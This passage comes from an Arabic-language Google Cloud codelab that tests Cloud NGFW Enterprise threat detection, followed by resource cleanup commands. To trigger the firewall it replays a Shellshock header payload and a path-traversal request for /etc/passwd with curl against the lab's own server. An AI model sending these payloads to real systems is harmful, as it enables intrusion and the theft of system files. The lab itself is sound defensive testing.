<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

انتقِل إلى "أمان الشبكة" > "التهديدات" في Cloud Console للتحقّق من السجلات (قد تحتاج إلى إعادة تحميل الصفحة عدة مرات إذا لم يتم عرض الهجمات بعد).

daa535fcc34873aa.png

اختَر إحدى الهجمات وانقر على "عرض سجلّ التدقيق" على يسار الصفحة (افتح السجلّ في علامة تبويب جديدة للرجوع إليه بسهولة). وسِّع الهجوم لعرض التفاصيل:

5f97cdef79e42eff.png

يمكنك اختياريًا استبدال فلتر "مستكشف السجلّات" بالطلب أدناه:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

من المفترض أن تظهر إدخالات سجلّ التهديدات على النحو التالي:

5ea9581a7eb694c5.png

يمكن التحقّق من الحِزم التي اعترضتها "جدار الحماية في السحابة الإلكترونية" باستخدام فلتر "مستكشف السجلات" أدناه (مفيد لأغراض تحديد المشاكل وحلّها):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

يمكنك الانتقال إلى فحص حركة الإنترنت (اختياري) أو إغلاق جلسة SSH والانتقال إلى الفصل التالي للاطّلاع على خطوات التنظيف.

[اختياري] فحص عدد زيارات الإنترنت

كما تم التحقّق من ذلك في القسم السابق، فإنّ التدفقات التي تم فحصها حتى الآن هي داخل الشبكة الفرعية/شبكة VPC (من الشرق إلى الغرب) والزيارات الواردة من الإنترنت (من الشمال إلى الجنوب). يمكن أيضًا ضبط Cloud NGFW Enterprise لفحص جميع زيارات الإنترنت (الزيارات الصادرة من الشمال إلى الجنوب) من خلال إنشاء قاعدة خروج جديدة باستخدام Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

ارجع إلى جهاز العميل الافتراضي وأعِد إرسال الهجمات ذات الخطورة العالية إلى عنوان IP الخارجي للخادم:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

الناتج المتوقّع:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

انتقِل إلى علامة التبويب "التهديدات" في Cloud Console للتحقّق من السجلات (قد تحتاج إلى إعادة تحميل الصفحة عدة مرات). من المفترض أن يكون قد تم رصد الهجمات وتسجيلها مرة أخرى، ولكن عنوان IP المصدر الآن داخلي لأنّه يتم تفعيل قاعدة الخروج أولاً:

36f8edf264dcddcd.png

أغلِق جلسة SSH وانتقِل إلى القسم التالي لمعرفة خطوات التنظيف.

8. خطوات إعادة الضبط

تنظيف مكونات Cloud NGFW Enterprise

إدراج عمليات الربط الحالية لـ Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

حذف عملية ربط Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

إدراج نقاط النهاية الحالية في Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

حذف نقطة نهاية Cloud NGFW Enterprise، ما قد يستغرق 20 دقيقة تقريبًا:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

تأكَّد من حذف Cloud NGFW Enterprise من خلال تنفيذ الأمر أدناه:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

حذف مجموعة الملفات الشخصية للأمان والملف الشخصي لمنع التهديدات:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

إزالة الإعدادات الأساسية

انتقِل إلى الخطوة التالية إذا كنت تفضّل حذف الموارد الأساسية.

حدِّد متغيّرات البيئة إذا لزم الأمر. من Cloud Shell، احذف مكوّنات "موازن تحميل الشبكة":

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

إزالة النُسخ:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

يمكنك اختياريًا تنفيذ الخطوات التالية في حال تغيير دورَي tagAdmin وtagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

أزِل مفتاح العلامة وقِيمها:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

حذف سياسة شبكة جدار الحماية في السحابة الإلكترونية وربطها:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

حذف Cloud Router وCloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

لحذف عناوين IP المحجوزة:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

أخيرًا، يمكنك حذف الشبكة الفرعية وشبكة VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. تهانينا!

تهانينا، لقد أكملت بنجاح دورة تدريبية حول رمز Cloud NGFW Enterprise لفحص الاتجاهَين الشرقي والغربي والاتجاهَين الشمالي والجنوبي.